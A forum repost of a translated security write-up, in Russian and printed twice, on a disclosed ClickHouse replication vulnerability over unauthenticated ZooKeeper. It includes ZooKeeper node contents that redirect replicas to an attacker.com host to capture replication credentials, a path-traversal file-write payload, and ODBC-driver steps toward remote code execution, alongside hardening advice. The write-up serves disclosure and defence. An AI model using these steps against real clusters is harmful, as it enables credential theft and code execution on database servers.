[Системное администрирование, Серверное администрирование, Администрирование баз данных] Зачем нужно держать клетки в зоопарке закрытыми (перевод)
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки.
ClickHouse — это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх Apache ZooKeeper (ZK) и требуют прав на запись.
Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.
Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper
Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.
При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы DDL, проходящие через ZK — для них узлы создаются в листе /clickhouse/task_queue/ddl.
Например вы создаете узел /clickhouse/task_queue/ddl/query-0001 с содержимым:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROR.
Звучит страшно? Но где же атакующий сможет получить адреса серверов?
Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX — имя реплики, foobar — имя таблицы):
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
будут созданы узлы columns и metadata.
Содержимое /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009) на сервере chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?
Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host.
Содержимое /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать — создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
где source_replica — имя реплики атакующего, созданной на предыдущем шаге, block_id — идентификатор блока данных, get — команда "get block" (а [тут команды для других операций](
)).
Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com будет получать запросы:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
где XXX — и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации.
Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.
https://miro.medium.com/max/700/1*92PefViWivYUEYFVhc1NMQ.png
код обработки репликации
Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.
Есть несколько подкаталогов в /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла):
flags — каталог для записи флагов, используемых при восстановлении после потери данных;
tmp — каталог хранения временных файлов;
user_files — операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие);
metadata — файлы sql с описаниями таблиц;
preprocessed_configs — обработанные производные конфигурационные файлы из /etc/clickhouse-server;
data — собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default).
Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец — отдельный файл в зависимости от формата движка. Например для таблицы foobar, созданной атакующим, будут созданы следующие файлы:
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.
Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):
\x01
\x00\x00\x00\x00\x00\x00\x00\x24
../../../../../../../../../tmp/pwned
\x12\x00\x00\x00\x00\x00\x00\x00
hellofromzookeeper
а после конкатенации ../../../../../../../../../tmp/pwned будет записан файл /tmp/pwned с содержимым hellofromzookeeper.
Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).
Внешние словари в RCE
В старых версиях каталог с настройками ClickHouse хранился с правами пользователя clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся — такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root.
ODBC в RCE
При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! прим. переводчика).
ClickHouse поддерживает ODBC и может соединяться с другими базами данных. В ODBC вы можете указать путь к библиотеке с драйвером базы данных (.so). Старые версии ClickHouse позволяли проворачивать такое прямо в обработчике запросов, но теперь добавлена более строгая проверка строки соединения в odbc-bridge, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше?
Давайте создадим файл ~/.odbc.ini с таким содержимым:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будет подгружена библиотека test.so и получено RCE (спасибо buglloc за наводку).
Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers!
===========
Источник:
habr.com
===========
===========
Автор оригинала: kyprizel
===========Похожие новости:
- [Системное администрирование, Серверное администрирование, DevOps, Kubernetes] Требования к разработке приложения в Kubernetes
- [Системное администрирование, IT-инфраструктура, Серверное администрирование, DevOps] С чего начать DevOps?
- [Администрирование баз данных] Масштабирование базы данных. Microsoft AlwaysOn
- [Open source, Софт, 3D-принтеры] Дождались: вышел LibreOffice 7.0
- [Высокая производительность, Анализ и проектирование систем, Администрирование баз данных] Надежный выбор лидера в Tarantool Cartridge
- [Open source, DevOps, Микросервисы, Kubernetes] Open Service Mesh — новая service mesh для Kubernetes от Microsoft
- [SQL, Администрирование баз данных, Хранилища данных] Как создавать и использовать словари в ClickHouse
- [Open source, Виртуализация, Разработка под Linux, Openshift] Современные приложения на OpenShift, часть 2: связанные сборки chained builds
- [Информационная безопасность, Программирование, Администрирование баз данных, Хранение данных] Firebase снова стала предметом исследований
- [Разработка веб-сайтов, Разработка игр, Разработка мобильных приложений, Разработка под Linux, Разработка под Windows] Свободная веб-энциклопедия для любых IT-проектов на собственном движке
Теги для поиска: #_sistemnoe_administrirovanie (Системное администрирование), #_servernoe_administrirovanie (Серверное администрирование), #_administrirovanie_baz_dannyh (Администрирование баз данных), #_zookeeper, #_clickhouse, #_rce, #_pwned, #_update, #_blog_kompanii_southbridge (
Блог компании Southbridge
), #_sistemnoe_administrirovanie (
Системное администрирование
), #_servernoe_administrirovanie (
Серверное администрирование
), #_administrirovanie_baz_dannyh (
Администрирование баз данных
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 19:01
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки. ClickHouse — это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх Apache ZooKeeper (ZK) и требуют прав на запись. Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично. Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper
При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы DDL, проходящие через ZK — для них узлы создаются в листе /clickhouse/task_queue/ddl. Например вы создаете узел /clickhouse/task_queue/ddl/query-0001 с содержимым: version: 1
query: DROP TABLE xxx ON CLUSTER test; hosts: ['host1:9000', 'host2:9000'] а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROR. Звучит страшно? Но где же атакующий сможет получить адреса серверов? Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX — имя реплики, foobar — имя таблицы): CREATE TABLE foobar
( `action_id` UInt32 DEFAULT toUInt32(0), `status` String ) ENGINE=ReplicatedMergeTree( '/clickhouse/tables/01-01/foobar/', 'chXX') ORDER BY action_id; будут созданы узлы columns и metadata. Содержимое /clickhouse/tables/01/foobar/replicas/chXX/hosts: host: chXX-address
port: 9009 tcp_port: 9000 database: default table: foobar scheme: http Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009) на сервере chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию? Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host. Содержимое /clickhouse/tables/01–01/foobar/replicas/attacker/host: host: attacker.com
port: 9009 tcp_port: 9000 database: default table: foobar scheme: http Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать — создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий): format version: 4
create_time: 2019-07-31 09:37:42 source replica: attacker block_id: all_7192349136365807998_13893666115934954449 get all_0_0_2 где source_replica — имя реплики атакующего, созданной на предыдущем шаге, block_id — идентификатор блока данных, get — команда "get block" (а [тут команды для других операций]( )). Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com будет получать запросы: POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com Authorization: XXX где XXX — и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации. Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие. https://miro.medium.com/max/700/1*92PefViWivYUEYFVhc1NMQ.png код обработки репликации Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе. Есть несколько подкаталогов в /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла): flags — каталог для записи флагов, используемых при восстановлении после потери данных; tmp — каталог хранения временных файлов; user_files — операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие); metadata — файлы sql с описаниями таблиц; preprocessed_configs — обработанные производные конфигурационные файлы из /etc/clickhouse-server; data — собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default). Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец — отдельный файл в зависимости от формата движка. Например для таблицы foobar, созданной атакующим, будут созданы следующие файлы: action_id.bin
action_id.mrk2 checksums.txt columns.txt count.txt primary.idx status.bin status.mrk2 Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом. Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк): \x01
\x00\x00\x00\x00\x00\x00\x00\x24 ../../../../../../../../../tmp/pwned \x12\x00\x00\x00\x00\x00\x00\x00 hellofromzookeeper а после конкатенации ../../../../../../../../../tmp/pwned будет записан файл /tmp/pwned с содержимым hellofromzookeeper. Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE). Внешние словари в RCE В старых версиях каталог с настройками ClickHouse хранился с правами пользователя clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся — такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root. ODBC в RCE При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! прим. переводчика). ClickHouse поддерживает ODBC и может соединяться с другими базами данных. В ODBC вы можете указать путь к библиотеке с драйвером базы данных (.so). Старые версии ClickHouse позволяли проворачивать такое прямо в обработчике запросов, но теперь добавлена более строгая проверка строки соединения в odbc-bridge, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше? Давайте создадим файл ~/.odbc.ini с таким содержимым: [lalala]
Driver=/var/lib/clickhouse/user_files/test.so затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будет подгружена библиотека test.so и получено RCE (спасибо buglloc за наводку). Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers! =========== Источник: habr.com =========== =========== Автор оригинала: kyprizel ===========Похожие новости:
Блог компании Southbridge ), #_sistemnoe_administrirovanie ( Системное администрирование ), #_servernoe_administrirovanie ( Серверное администрирование ), #_administrirovanie_baz_dannyh ( Администрирование баз данных ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 19:01
Часовой пояс: UTC + 5